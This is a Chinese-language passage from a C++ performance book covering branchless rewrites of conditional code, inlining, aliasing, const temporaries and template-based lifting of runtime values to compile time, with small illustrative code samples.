条件执行的优化

在不必要的计算和内存使用效率低下之后,编写未能充分利用可用计算资源大部分的低效代码的最简单方法可能是无法进行良好流水线处理的代码。我们已经在第三章CPU 架构、资源和性能影响中看到了 CPU 流水线处理的重要性。我们还了解到,最大的流水线破坏者通常是条件操作,特别是硬件分支预测器无法猜测的条件操作。

不幸的是,优化条件代码以获得更好的流水线是最困难的 C++优化之一。只有在分析器显示预测不良的分支时才应该进行优化。但是,请注意,预测不准的分支数量不必很大才能被认为是“不良的”:一个好的程序通常会有不到 0.1%的预测不准的分支。1%的错误预测率是相当大的。而且,要在不检查编译器输出(机器代码)的情况下预测源代码优化的效果也是相当困难的。

如果分析器显示有一个预测不良的条件操作,下一步是确定哪个条件被错误预测。我们已经在第三章CPU 架构、资源和性能影响中看到了一些例子。例如,这段代码:

if (a[i] || b[i] || c[i]) { … do something … }

即使整体结果是可预测的,也可能产生一个或多个预测不良的分支。这与 C++中布尔逻辑的定义有关:操作符||&&短路的:表达式从左到右进行评估,直到结果变为已知。例如,如果a[i]true,则代码不得访问数组元素b[i]c[i]。有时,这是必要的:实现的逻辑可能是这些元素不存在。但通常,布尔表达式会因无故引入不必要的分支。前面的if()语句需要 3 个条件操作。另一方面,这个语句:

if (a[i] + b[i] + c[i]) { … do something … }

相当于最后一个,如果值abc是非负的,但需要进行单个条件操作。同样,这不是您应该预先进行的优化类型,除非您有测量结果证实需要进行优化。

这是另一个例子。考虑这个函数:

void f2(bool b, unsigned long x, unsigned long& s) {
  if (b) s += x;
}

如果b的值是不可预测的,那么效率非常低。只需进行简单的更改,性能就会大大提高:

void f2(bool b, unsigned long x, unsigned long& s) {
  s += b*x;
}

这种改进可以通过对原始的有条件的实现与无分支实现进行简单的基准测试来确认:

BM_conditional   176.304M items/s
BM_branchless     498.89M items/s

正如你所看到的,无分支实现几乎快了 3 倍。

不要过度追求这种类型的优化是很重要的。它必须始终受到测量的驱动,有几个原因:

  • 分支预测器非常复杂,我们对它们能够处理和不能处理的直觉几乎总是错误的。

  • 编译器优化通常会显著改变代码,因此,即使我们对分支的存在有期望,没有测量或检查机器代码,我们的期望也可能是错误的。

  • 即使分支被错误预测,性能影响也会有所不同,所以没有测量是不可能确定的。

例如,手动优化这种非常常见的代码几乎从来都不是有用的:

int f(int x) { return (x > 0) ? x : 0; }

它看起来像是有条件的代码,如果x的符号是随机的,那么预测是不可能的。然而,很可能分析器不会显示出大量的错误预测分支。原因是大多数编译器不会使用条件跳转来实现这一行。在 x86 上,一些编译器会使用 CMOVE 指令,它执行条件移动:根据条件,它将两个源寄存器中的一个值移动到目的地。这个指令的条件性质是良性的:记住有条件的代码的问题在于 CPU 无法提前知道下一条指令要执行什么。有了条件移动的实现,指令序列是完全线性的,它们的顺序是预先确定的,所以没有什么需要猜测的。

另一个常见的例子,不太可能从无分支优化中受益的是有条件的函数调用:

if (condition) f1(… args …) else f2(… args …);

可以使用函数指针数组实现无分支。

using func_ptr = int(*)(… params …);
static const func_ptr f[2] = { &f1, &f2 };
(*f[condition])(… args …);

如果函数最初是内联的,用间接函数调用替换它们会导致性能下降。如果它们不是,这种改变可能几乎没有任何作用:跳转到另一个在编译期间不知道地址的函数,其效果与错误预测的分支非常相似,因此这段代码无论如何都会导致 CPU 刷新流水线。

最重要的是,优化分支预测是一个非常高级的步骤。结果可能是显著的改进,也可能是显著的失败(或者只是浪费时间),因此在每一步都要受到性能测量的指导是很重要的。

我们现在已经学到了很多关于 C++程序中许多潜在的低效性以及改进它们的方法。我们总结一些优化代码的整体指导方针。

总结

在本章中,我们已经涵盖了 C++效率的两个大领域中的第一个:避免低效的语言构造,这归结为不做不必要的工作。我们学习过的许多优化技术与我们早期学习的材料相契合,比如访问内存的效率以及在并发程序中避免虚假共享。

每个程序员面临的一个大困境是应该投入多少工作来编写高效的代码,以及什么应该留给增量优化。让我们首先说,高性能始于设计阶段:设计架构和接口,不锁定低性能和低效实现是开发高性能软件中最重要的工作。

除此之外,应该区分过早优化不必要的性能下降。为了避免别名问题而创建临时变量是过早的,除非你有性能测量数据表明你正在优化的函数对整体执行时间有很大贡献(或者除非它提高了可读性,这是另一回事)。直到分析器告诉你要改变为止,通过值传递大向量只会使你的代码变慢而没有理由,因此应该从一开始就避免。

两者之间的界限并不总是清晰的,因此你必须权衡几个因素。你必须考虑改变对程序的影响:它是否使代码更难阅读,更复杂,或者更难测试?通常情况下,你不想冒着为了性能而增加更多 bug 的风险,除非测量告诉你你必须这样做。另一方面,有时更可读或更直接的代码也是更高效的代码,那么优化就不能被认为是过早的。

C++效率的第二个主要领域与帮助编译器生成更高效的代码有关。我们将在下一章中介绍这个问题。

问题

  1. 什么时候通过值传递甚至大对象是可以接受的?

  2. 在使用资源拥有智能指针时,我们应该如何调用操作对象的函数?

  3. 什么是返回值优化,它在哪里使用?

  4. 为什么低效的内存管理不仅影响内存消耗,还影响运行时间?

  5. 什么是 A-B-A 问题?

第十章:C++中的编译器优化

在上一章中,我们已经了解了 C++程序中效率低下的主要原因。消除这些低效性的责任大部分落在程序员身上。然而,编译器也可以通过许多方式使您的程序运行更快。这就是我们现在要探讨的内容。

本章将涵盖编译器优化的非常重要的问题,以及程序员如何帮助编译器生成更高效的代码。

在本章中,我们将涵盖以下主要主题:

  • 编译器优化代码的方法

  • 编译器优化的限制

  • 如何从编译器获得最佳优化

技术要求

同样,您将需要一个 C++编译器和一个微基准测试工具,比如我们在上一章中使用的Google Benchmark库(在github.com/google/benchmark找到)。本章附带的代码可以在github.com/PacktPublishing/The-Art-of-Writing-Efficient-Programs/tree/master/Chapter10找到。

您还需要一种方法来检查编译器生成的汇编代码。许多开发环境都有显示汇编代码的选项,GCC 和 Clang 可以写出汇编而不是目标代码,调试器和其他工具可以从目标代码生成汇编(反汇编)。您可以根据个人偏好选择使用哪种工具。

编译器优化代码

优化编译器对于实现高性能至关重要。只需尝试运行一个完全没有优化的程序,就能体会到编译器的作用:未经优化的程序(优化级别为零)的运行速度通常比启用所有优化的程序慢一个数量级。

然而,通常情况下,优化器可能需要程序员的一些帮助。这种帮助可能采取非常微妙且常常反直觉的变化形式。在我们查看一些特定的技术来改进代码优化之前,了解编译器如何看待您的程序会有所帮助。

编译器优化基础

关于优化,您必须理解的最重要的一点是,任何正确的代码都必须保持正确。正确在这里与您对正确的看法无关:程序可能存在错误并给出您认为错误的答案,但编译器必须保留这个答案。唯一的例外是一个程序是不明确的或者调用了未定义的行为:如果程序在标准的眼中是不正确的,编译器可以随意做任何事情。我们将在下一章中探讨这一点的影响。目前,我们将假设程序是明确定义的,并且仅使用有效的 C++。当然,编译器在进行更改时受到限制,要求答案在任何输入组合下都不得改变。后者非常重要:您可能知道某个输入值始终为正,或者某个字符串永远不会超过 16 个字符长,但编译器不知道(除非您找到一种告诉它的方法)。只有在可以证明此转换会导致完全等效的程序时,编译器才能进行优化转换:一个对于任何输入都产生相同输出的程序。实际上,编译器在放弃之前能够管理多复杂的证明也是受限的。

理解重要的不是你知道什么,而是你能证明什么是成功与编译器通过代码进行交互以实现更好优化的关键。基本上,本章的其余部分展示了您可以使得更容易证明某些理想的优化不会改变程序结果的不同方法。

编译器在程序方面也受到限制。它必须仅使用编译时已知的信息,对任何运行时数据一无所知,并且必须假设在运行时可能出现任何合法状态。

这是一个简单的例子,用来说明这一点。首先,考虑这段代码:

std::vector<int> v;
… fill v with data … 
for (int& x : v) ++x;

我们关注的重点是最后一行,循环。如果手动展开循环,性能可能会更好:如写的那样,每次增量都有一个分支(循环终止条件)。展开循环可以减少这种开销。在一个简单的情况下,比如一个只有两个元素的向量,甚至最好完全去掉循环,只增加两个元素。然而,向量的大小是运行时信息的一个例子。编译器可能能够生成一个部分展开的循环,带有一些额外的分支来处理所有可能的向量大小,但它无法为特定大小优化代码。

与此代码形成对比:

int v[16];
… fill v with data … 
for (int& x : v) ++x;

现在编译器确切地知道循环中处理了多少个整数。它可以展开循环,甚至用操作多个数字的向量指令替换单个整数的增量(例如,x86 上的 AVX2 指令集可以一次添加 8 个整数)。

如果您知道向量始终有 16 个元素,可能并不重要。重要的是编译器是否知道这一点,并且能够确定地证明。这比你想象的要困难。例如,考虑这段代码:

constexpr size_t N = 16;
std::vector<int> v(N);
… fill v with data … 
for (int& x : v) ++x;

程序员费尽心思明确表示向量大小是编译时常量。编译器会优化循环吗?可能。这完全取决于编译器能否证明向量大小不会改变。它会如何改变?问问自己,代码中填充向量的部分可能隐藏了什么?不是你知道的,而是可以从代码本身中学到的。如果所有代码都写在两行之间,构造和增量循环,理论上编译器可以知道一切(实际上,如果这段代码片段太长,编译器会放弃,并假设任何事情都有可能,否则编译时间会爆炸)。但如果调用一个函数,而该函数可以访问向量对象,编译器无法知道该函数是否改变了向量的大小,除非该函数被内联。像fill_vector_without_resizing()这样的有用函数名称只对程序员有用。

即使没有函数调用以v作为参数,我们仍然不能确定。函数如何可能访问向量对象?如果向量v是在函数作用域中声明的局部变量,它可能无法。但如果v是一个全局变量,那么任何函数都可以访问它。同样,如果v是一个类成员变量,任何成员函数或友元函数都可以访问它。因此,如果我们调用一个非内联函数,它没有通过参数列表直接访问v,它可能仍然能够通过其他方式访问v(至于创建全局指针指向局部变量的真正邪恶的做法,我们最好不要谈)。

从程序员的角度来看,很容易高估编译器的知识,基于程序员对程序实际运行情况的了解。还要记住,解谜通常不是编译器的长处。例如,您可以在循环之前添加一个assert

constexpr size_t N = 16;
std::vector<int> v(N);
… fill v with data … 
assert(v.size() == N); // if (v.size() != N) abort();
for (int& x : v) ++x;

在最高优化级别和简单的上下文中,一些编译器会推断除非向量恰好有 16 个元素,否则执行流程不会到达循环,并且会针对这个大小进行优化。大多数不会。顺便说一句,我们假设断言已启用(NDEBUG未定义),或者您使用自己的断言。

我们已经考虑的基本例子已经包含了用于帮助编译器优化代码的关键技术元素:

  • 非内联函数会破坏大多数优化,因为编译器必须假设它看不到代码的函数可以做任何它合法允许的事情。

  • 全局和共享变量对优化非常不利。

  • 编译器更有可能优化短小简单的代码片段,而不是长而复杂的代码片段。

第一个和最后一个概念在某种程度上存在冲突。编译器中的大多数优化都限于所谓的基本代码块:这些是只有一个入口点和一个出口点的代码块。它们在程序的流程控制图中充当节点。基本代码块之所以重要是因为编译器可以看到代码块内部发生的一切,因此可以推断不会改变输出的代码转换。内联的优势在于它增加了基本代码块的大小。编译器不知道非内联函数的具体操作,因此必须做出最坏的假设。但是如果函数被内联,编译器就知道它在做什么(更重要的是,它不在做什么)。内联的缺点也在于它增加了基本代码块的大小:编译器只能分析有限量的代码,否则编译时间会变得不合理。内联对于编译器优化非常重要,我们现在将探讨其中的原因。

函数内联

内联是编译器在用函数体的副本替换函数调用时进行的。为了实现这一点,内联必须是可能的:在调用代码的编译过程中,函数的定义必须是可见的,并且在编译时必须知道被调用的函数。第一个要求在一些进行整体程序优化的编译器中有所放宽(仍然不常见)。第二个要求排除了虚函数调用和通过函数指针进行的间接调用。并非每个可以内联的函数最终都会被内联:编译器必须权衡代码膨胀与内联的好处。不同的编译器对内联有不同的启发式。C++的inline关键字只是一个建议,编译器可以忽略它。

函数调用内联的最明显好处是消除了函数调用本身的成本。在大多数情况下,这也是最不重要的好处:函数调用并不那么昂贵。主要好处在于编译器在函数调用之间可以做的优化非常有限。考虑这个简单的例子:

double f(int& i, double x) {
  double res = g(x);
  ++i;
  res += h(x);
  res += g(x);
  ++i;
  res += h(x);
  return res;
}

以下是一个有效的优化吗?

double f(int& i, double x) {
  i += 2;
  return 2*(g(x) + h(x));
}

如果你回答,那么你仍然是从程序员的角度来看待这个问题,而不是从编译器的角度来看。这种优化可能会破坏代码的方式有很多(对于您可能编写的任何合理程序来说,这些方式可能都不成立,但编译器不能做出的假设是程序员是合理的)。

  • 首先,函数g()h()可以产生输出,如果消除重复的函数调用会改变可观察的行为。

  • 其次,对g()的调用可能会锁定某个互斥量,对h()的调用可能会解锁它,这种情况下执行的顺序——调用g()来锁定,增加i,调用h()来解锁——非常重要。

  • 第三,即使使用相同的参数,g()h()的结果可能不同:例如,它们可能在内部使用随机数。

  • 最后(这种可能性程序员经常忽视),变量i是通过引用传递的,因此我们不知道调用者可能对它做了什么:它可能是一个全局变量,或者某个对象可能存储了对它的引用,因此,g()h()函数可能会对i进行操作,尽管我们看不到它被传递到这些函数中。

另一方面,如果函数g()h()被内联,编译器可以清楚地看到发生了什么,例如:

double f(int& i, double x) {
  double res = x + 1; // g(x);
  ++i;
  res += x – 1; // h(x);
  res += x + 1; // g(x)
  ++i;
  res += x – 1; // h(x);
  return res;
}

整个函数f()现在是一个基本块,编译器只有一个限制:保留返回值。这是一个有效的优化:

double f(int& i, double x) {
  i += 2;
  return 4*x;
}

内联对优化的影响可以*传递得很远。考虑 STL 容器的析构函数,比如std::vector<T>。它必须做的步骤之一是调用容器中所有对象的析构函数:

for (auto it = crbegin(); it != crend(); ++it) it->~T();

因此,析构函数的执行时间与向量的大小N成正比。除非不是:考虑一个整数向量,std::vector<int>。在这种情况下,编译器非常清楚析构函数的作用:绝对什么都不做。编译器还可以看到对crbegin()crend()的调用不会修改向量(如果您担心通过const_iterator销毁对象,请考虑const对象是如何被销毁的)。因此,整个循环可以被消除。

现在考虑使用简单聚合的向量:

struct S {
  long a;
  double x;
};
std::vector<S> v;

这一次,类型T有一个析构函数,编译器再次知道它的作用(毕竟编译器生成了它)。再一次,析构函数什么都不做,整个销毁循环被消除。对于default析构函数也是一样的:

struct S {
  long a;
  double x;
  ~S() = default;
};

编译器应该能够对空析构函数进行相同的优化,但只有在内联的情况下才能这样做:

struct S {
  long a;
  double x;
  ~S() {}     // Probably optimized away
};

另一方面,如果类声明只声明了析构函数如下:

struct S {
  long a;
  double x;
  ~S();
};

如果定义在单独的编译单元中,那么编译器必须为每个向量元素生成一个函数调用。函数仍然什么都不做,但运行循环和进行N个函数调用仍然需要时间。内联允许编译器将这段时间优化为零。

这是内联及其对优化的影响的关键:内联允许编译器看到在否则神秘的函数内部发生了什么。内联还有另一个重要的作用:它创建了内联函数体的唯一克隆,可以根据调用者给定的特定输入进行优化。在这个唯一的克隆中,可能观察到一些对优化友好的条件,这些条件对于这个函数来说通常是不成立的。再次举个例子:

bool pred(int i) { return i == 0; }
  … 
std::vector<int> v = … fill vector with data …;
auto it = std::find_if(v.begin(), v.end(), pred);

假设函数pred()的定义与对std::find_if()的调用在同一个编译单元中,那么对pred()的调用会被内联吗?答案是可能,这在很大程度上取决于对find_if()是否首先进行内联。现在,find_if()是一个模板,所以编译器总是能看到函数定义。它可能决定不内联该函数。如果find_if()没有内联,那么我们就会得到一个从特定类型生成的模板函数。在这个函数内部,第三个参数的类型是已知的:它是bool (*)(int),一个接受int并返回bool的函数指针。但是这个指针的值在编译时是未知的:同一个find_if()函数可以用许多不同的谓词调用,因此它们中的任何一个都不能被内联。只有当编译器为这个特定的调用生成find_if()的唯一克隆时,谓词函数才能被内联。编译器有时会这样做;这被称为克隆。然而,大多数情况下,内联谓词或作为参数传递的任何其他内部函数的唯一方法是首先内联外部函数。

这个特定的例子在不同的编译器上产生不同的结果:例如,GCC 只会在最高优化设置下内联find_if()pred()。其他编译器即使在那时也不会这样做。然而,还有另一种方法可以鼓励编译器内联函数调用,尽管这似乎有些反直觉,因为它会向程序添加更多的代码,并使嵌套函数调用链变得更长:

 bool pred(int i) { return i == 0; }
  … 
std::vector<int> v = … fill vector with data …;
auto it = std::find_if(v.begin(), v.end(), 
  & { return pred(i); });

这里的悖论是,我们在同一个间接函数调用周围增加了一个额外的间接层,即 lambda 表达式(顺便说一句,我们假设程序员不想直接将谓词的主体简单地复制到 lambda 中有其原因)。这次对pred()的调用实际上更容易内联,即使编译器没有内联find_if()函数。原因是这次,谓词的类型是唯一的:每个 lambda 表达式都有唯一的类型,因此对于这些特定的类型参数,find_if()模板只有一个实例化。编译器更有可能内联只调用一次的函数:毕竟,这样做不会生成任何额外的代码。但即使find_if()的调用没有被内联,在该函数内部,第三个参数只有一个可能的值,这个值在编译时已知为pred(),因此pred()的调用可以被内联。

顺便说一句,我们最终可以澄清我们在第一章中提出的问题的答案,即《性能和并发简介》:虚函数调用的成本是多少?首先,编译器通常使用函数指针表来实现虚拟调用,因此调用本身涉及额外的间接层:CPU 必须读取一个额外的指针,并与非虚拟调用相比进行一次跳转。这会在函数调用中添加几个额外的指令,使函数调用的代码大约贵两倍(具体取决于硬件和缓存状态的变化)。然而,我们通常调用函数是为了完成一些工作,因此函数调用的机制只是总函数执行时间的一部分。即使对于简单的函数,虚函数的成本很少超过非虚函数的 10-15%。

然而,在我们花费太多时间计算指令之前,我们应该质疑原始问题的有效性:如果非虚函数调用足够,也就是说,如果我们在编译时知道将调用哪个函数,那么我们为什么要首先使用虚函数呢?相反,如果我们只在运行时找出要调用的函数,那么根本不能使用非虚函数,因此它的速度是无关紧要的。按照这种逻辑,我们应该将虚函数调用与功能上等效的运行时解决方案进行比较:使用一些运行时信息来有条件地调用多个函数中的一个。使用if-elseswitch语句通常会导致较慢的执行,至少如果有两个以上的函数版本要调用的话。最有效的实现是一个函数指针表,这正是编译器用虚函数做的。

当然,原始问题实际上并非毫无意义:如果我们有一个多态类,其中有一个虚函数,但在某些情况下,我们在编译时知道实际类型是什么呢?在这种情况下,比较虚函数调用和非虚函数调用是有意义的。我们还应该提到一个有趣的编译器优化:如果编译器可以在编译时找出对象的真实类型,并因此知道将调用虚函数的哪个重写,它将把调用转换为非虚函数,这就是所谓的去虚拟化

那么,为什么这个讨论发生在一个专门讨论内联的部分呢?因为我们忽略了一个重要因素:虚函数对性能的最大影响是(除非编译器可以去虚拟化调用)它们无法被内联。一个简单的函数,比如int f() { return x; }在内联后可能只有一条甚至零条指令,但非内联版本则有常规的函数调用机制,速度慢了几个数量级。现在再加上没有内联的情况下,编译器无法知道虚函数内部发生了什么,并且必须对每个外部可访问的数据做出最坏的假设,你就能看到,在最坏的情况下,虚函数调用可能会昂贵数千倍。

内联的两个效果,暴露函数的内容和创建一个独特的、专门的函数副本,都有助于优化器,因为它们增加了编译器对代码的了解程度。正如我们已经提到的,如果你想帮助编译器更好地优化你的代码,了解编译器真正知道什么是非常重要的。

现在我们将探讨编译器所遵循的不同限制,这样你就可以培养出识别错误约束的眼光:你知道是真的,但编译器不知道。

编译器真正知道什么?

优化的最大限制可能是在代码执行期间可能发生的变化。为什么这很重要?再举一个例子:

int g(int a);
int f(const std::vector<int>& v, bool b) {
  int sum = 0;
  for (int a : v) {
    if (b) sum += g(a);
  }
  return sum;
} 

在这种情况下,只有g()的声明是可用的。编译器能够优化if()语句并消除条件的重复评估吗?在这一章节的所有意外和陷阱之后,你可能在寻找为什么不能的原因。其实没有,这是一个完全有效的优化:

int f(const std::vector<int>& v, bool b) {
  if (!b) return 0;
  int sum = 0;
  for (int a : v) {
    sum += g(a);
  }
  return sum;
} 

现在让我们稍微修改一下例子:

int g(int a);
int f(const std::vector<int>& v, const bool& b) {
  int sum = 0;
  for (int a : v) {
    if (b) sum += g(a);
  }
  return sum;
} 

为什么你会通过const引用传递bool参数?最常见的原因是模板:如果你有一个不需要复制参数的模板函数,它必须将参数声明为const T&,假设T可以是任何类型。如果T被推断为bool,那么现在你有了一个const bool&参数。这个改变可能很小,但对优化的影响是深远的。如果你认为我们之前做的优化仍然有效,那么考虑一下我们的例子在更大的上下文中。现在你可以看到一切(假设编译器仍然不能):

bool flag = false;
int g(int a) {
  flag = a == 0;
  return –a;
}
int f(const std::vector<int>& v, const bool& b) {
  int sum = 0;
  for (int a : v) {
    if (b) sum += g(a);
  }
  return sum;
} 
int main() {
  f({0, 1, 2, 3, 4}, flag);
}

请注意,通过调用g(),我们可以改变b,因为b是一个绑定到全局变量的引用,在g()内部也是可访问的。在第一次迭代中,bfalse,但调用g()会产生副作用:b变为true。如果参数是按值传递的,这是不会发生的:值在函数开始时被捕获,不会跟踪调用者的变量。但是通过引用传递,它确实发生了,循环的第二次迭代不再是死代码。在每次迭代中,条件必须被评估,优化是不可能的。我们要再次强调,程序员可能知道的和编译器可以证明的之间的差异:你可能确信你的代码中没有任何全局变量,或者你可能确切地知道函数g()做了什么。编译器无法做出这样的猜测,并且必须假设程序(或将来的某个时刻)会做出我们在前面的例子中展示的类似行为,这使得优化潜在地不安全。

同样,如果函数g()被内联并且编译器可以看到它不修改任何全局变量,这种情况就不会发生。但你不能期望你的整个代码都被内联,所以在某个时候,你必须考虑如何帮助编译器确定它自己不知道的东西。在当前的例子中,最简单的方法是引入一个临时变量(当然,在这个简单的例子中,你可以手动进行优化,但在更复杂的现实代码中,这是不切实际的)。为了使这个例子稍微更加现实,我们将记住函数f()可能来自一个模板实例化。我们不想复制一个未知类型的参数b,但我们知道它必须可以转换为bool,所以这可以是我们的临时变量。

template <typename T>
int f(const std::vector<int>& v, const T& t) {
  const bool b = bool(t);
  int sum = 0;
  for (int a: v) {
    if (b) sum += g(a);
  }
  return sum;
} 

编译器仍然必须假设函数g()可能会改变t的值。但这已经不重要了:条件使用了临时变量b,因为它在f()函数之外是不可见的,所以肯定不会被更改。当然,如果函数g()确实可以访问更改f()的第二个参数的全局变量,我们的转换就改变了程序的结果。通过创建这个临时变量,我们告诉编译器这种情况不会发生。这是编译器无法自行想出的额外信息。

这里的教训很简单,理论上是这样的,但在实践中却相当困难:如果你知道关于你的程序的一些信息,而编译器无法知道这些信息是真实的,你必须以编译器可以使用的方式来断言它。这样做之所以难,是因为我们通常不会像编译器那样思考我们的程序,而且很难放弃你确信绝对正确的隐含假设。

顺便说一句,你有没有注意到我们声明临时变量bconst?这主要是为了我们自己的利益,以防止因意外修改它而产生任何错误。但它也有助于编译器。你可能会想为什么:编译器应该能够看到没有任何东西改变b的值。与早期棘手的情况不同,这种情况很简单:编译器看到了对b的所有操作。然而,你不能确定编译器知道某些东西只是因为这些知识是可用的:分析程序需要时间,程序员只愿意等待编译器完成工作的时间有限。另一方面,语法检查是强制性的:如果我们声明变量为const并尝试更改它,程序将无法编译,我们将永远无法进行优化步骤。因此,优化器可以假设任何const变量确实不会改变。还有另一个原因可以尽可能地声明对象为const,但我们将在下一章中讨论。

所以这就是第二个教训,紧随第一个教训之后:如果你知道关于你的程序的一些信息,可以轻松地传达给编译器,那就这样做。这个建议确实违反了一个非常常见的建议:不要创建临时变量,除非它们使程序更易读 - 编译器无论如何都会摆脱它们。编译器确实可能会摆脱它们,但它确实保留(并使用)它们的存在所表达的附加信息。

另一个阻止编译器进行优化的非常常见的情况是可能的别名。这是一个初始化两个 C 风格字符串的函数的示例:

void init(char* a, char* b, size_t N) {
  for (size_t i = 0; i < N; ++i) {
    a[i] = '0';
    b[i] = '1';
  }
}

一次写一个字节的内存是相当低效的。有更好的方法来将所有字符初始化为相同的值。这个版本会快得多:

void init(char* a, char* b, size_t N) {
  std::memset(a, '0', N);
  std::memset(b, '1', N);
}

您可以手动编写此代码,但编译器永远不会为您执行此优化,了解原因很重要。当您看到此函数时,您期望它被按预期使用,即初始化两个字符数组。但是编译器必须考虑两个指针ab指向同一个数组或重叠部分的可能性。对您来说,以这种方式调用init()可能毫无意义:两个初始化将互相覆盖。然而,编译器只关心一件事:如何不改变您代码的行为,无论那是什么。

同样的问题可能会发生在任何通过引用或指针接受多个参数的函数中。例如,考虑这个函数:

void do_work(int& a, int& b, int& x) {
  if (x < 0) x = -x;
  a += x;
  b += x;
}

编译器无法进行任何优化,如果abx绑定到同一个变量,那么这些优化就是无效的。这被称为在递增a之后从内存中读取x。为什么?因为ax可能指向相同的值,编译器无法假设x保持不变。

如果您确定别名不会发生,您如何解决这个问题?在 C 中,有一个关键字restrict,它通知编译器特定指针是在当前函数范围内访问值的唯一方式:

void init(char* restrict a, char* restrict b, size_t N);

init()函数内部,编译器可以假定整个数组a只能通过这个指针访问。这也适用于标量变量。restrict关键字目前还不是 C++标准的一部分。尽管如此,许多编译器支持此功能,尽管使用不同的语法(restrict__restrict__restrict__)。对于单个值(特别是引用),创建临时变量通常可以解决问题,如下所示:

void do_work(int& a, int& b, int& x) {
  if (x < 0) x = -x;
  const int y = x;
  a += y;
  b += y;
}

编译器可能会消除临时变量(不为其分配任何内存),但现在它保证ab都增加了相同的量。编译器是否会实际执行这种优化?最简单的方法是比较汇编输出如下:

图 10.1 - x86 汇编输出在别名优化之前(左)和之后(右)

图 10.1 - x86 汇编输出在别名优化之前(左)和之后(右)

图 10.1显示了由 GCC 生成的 x86 汇编,用于增量操作(我们省略了函数调用和分支,这两种情况下是相同的)。使用别名,编译器必须从内存中进行两次读取(mov指令)。使用手动优化,只有一次读取。

这些优化有多重要?这取决于许多因素,因此在着手消除代码中的所有别名之前,您不应该进行一些测量。对代码进行分析将告诉您哪些部分是性能关键的;在那里,您必须检查所有优化机会。最终帮助编译器提供额外知识的优化通常是最容易实现的(编译器做了艰苦的工作)。

向编译器提供关于程序的难以发现的信息的建议的反面是:不要担心编译器可以轻松解决的问题。这个问题出现在不同的上下文中,但其中一个更常见的情景是使用验证其输入的函数。在您的库中,您有一个在指针上工作的交换函数:

template <typename T>
void my_swap(T* p, T* q) {
    if (p && q) {
        using std::swap;
        swap(*p, *q);
    }
}

该函数接受空指针,但不对其进行任何操作。在您自己的代码中,出于某种原因,您仍然必须检查指针,并且只有在两者都非空时才调用my_swap()(也许如果它们为空,您需要做其他事情,因此您必须检查)。忽略您可能做的所有其他工作,调用代码如下:

void f(int* p, int* q) {
    if (p && q) my_swap(p, q);
}

C++程序员花费了大量时间争论多余的检查是否会影响性能。我们应该尝试在调用站点删除检查吗?假设我们不能,我们应该创建另一个不测试其输入的my_swap()版本吗?关键观察是my_swap()函数是一个模板(和一个小函数),所以几乎肯定会被内联。编译器具有确定第二次对 null 的测试是多余的所有必要信息。它会吗?与其尝试基准测试可能的性能差异(在任何情况下都会非常小),我们将比较两个程序的汇编输出。如果编译器生成具有和不具有多余if()语句的相同机器代码,我们可以肯定没有性能差异。这是由 GCC 生成的 x86 汇编输出:

图 10.2 - 带有(左)和不带(右)多余指针测试的汇编输出

图 10.2 - 带有(左)和不带(右)多余指针测试的汇编输出

图 10.2的左侧是带有两个if()语句的程序生成的代码,一个在my_swap()内部,一个在外部。右侧是具有特殊的不测试版本my_swap()的程序的代码。您可以看到机器代码是完全相同的(如果您能阅读 x86 汇编,您还会注意到两种情况下只有两次比较,而不是四次)。

正如我们已经说过的,内联在这里起着至关重要的作用:如果my_swap()没有被内联,那么在函数f()中的第一个测试是好的,因为它避免了不必要的函数调用,并允许编译器更好地优化调用代码,以便在其中一个指针为空时更好地进行优化。现在my_swap()内部的测试是多余的,但是编译器将生成它,因为它不知道my_swap()是否在其他地方被调用,也许没有对输入的任何保证。性能差异仍然极不可能是可测量的,因为硬件对第二次测试是 100%可预测的(我们在第三章中讨论过这一点,CPU 架构、资源和性能影响)。

顺便说一句,这种情况最常见的例子可能是delete运算符:C++允许删除空指针(什么也不会发生)。然而,许多程序员仍然编写这样的代码:

if (p) delete p; 

即使在理论上,它会影响性能吗?不会:你可以查看汇编输出,并确信,无论是否有额外的检查,只有一次与 null 的比较。

现在您对编译器如何看待您的程序有了更好的理解,让我们看看如何通过另一种有用的技术来获得更好的编译器优化。

从运行时到编译时的知识提升

我们将要讨论的方法归结为一件事:通过将运行时信息转换为编译时信息,为编译器提供有关程序的更多信息。在以下示例中,我们需要处理由Shape类表示的大量几何对象。它们存储在一个容器中(如果类型是多态的,它将是指针的容器)。处理包括执行两种操作之一:我们要么收缩每个对象,要么增长它。让我们看看:

enum op_t { do_shrink, do_grow };
void process(std::vector<Shape>& v, op_t op) {
  for (Shape& s : v) {
    if (op == do_shrink) s.shrink();
    else s.grow();
  }
}

总的来说,我们有一个函数,其行为由一个或多个配置变量在运行时控制。通常,这些变量是布尔值(为了可读性,我们选择了一个enum)。我们已经看到,如果配置参数op是通过引用传递的,编译器必须在循环内保留比较,并为每个形状评估它。即使参数是按值传递的,许多编译器也不会将分支提升出循环:它需要复制循环体(一个用于收缩和一个用于增长),编译器对膨胀代码过多持谨慎态度。

这个问题应该被认真对待:一个更大的可执行文件加载时间更长,而更多的代码会增加指令缓存(i-cache)的压力(i-cache 用于缓存即将被 CPU 使用的指令,就像数据缓存缓存即将被 CPU 使用的数据一样)。然而,在某些情况下,这种优化仍然是正确的选择:通常情况下,您知道很多数据在不改变配置变量的情况下被处理。也许这些变量甚至对整个程序的运行都是常量(您加载配置一次并使用它)。

将分支移出循环对于我们简单的例子来说很容易重写,但如果代码很复杂,重构也是复杂的。如果我们愿意给予编译器帮助,我们可以从编译器那里得到一些帮助。这个想法是将运行时值转换为编译时值:

template <op_t op>
void process(std::vector<Shape>& v) {
  for (Shape& s : v) {
    if (op == do_shrink) s.shrink();
    else s.grow();
  }
}
void process(std::vector<Shape>& v, op_t op) {
  if (op == do_shrink) process<do_shrink>(v);
  else process<do_grow>(v);
}

整个(可能很大)的旧函数process()被转换为一个模板,但除此之外,没有其他改变。具体来说,我们没有将分支移出循环。然而,控制分支的条件现在是一个编译时常量(模板参数)。编译器将消除每个模板实例化中的分支和相应的死代码。在我们程序的其余部分,配置变量仍然是一个运行时值,只是很少(或根本不)改变。因此,我们仍然需要运行时测试,但它只用于决定调用哪个模板实例化。

这种方法可以泛化。想象一下,我们需要为每个形状计算一些属性,比如体积、尺寸、重量等等。这一切都是由一个单一的函数完成的,因为很多计算在不同的属性之间是共享的。但是计算我们不需要的属性会花费时间,所以我们可以实现一个像这样的函数:

void measure(const std::vector<Shape>& s,
  double* length, double* width, double* depth,
  double* volume, double* weight);

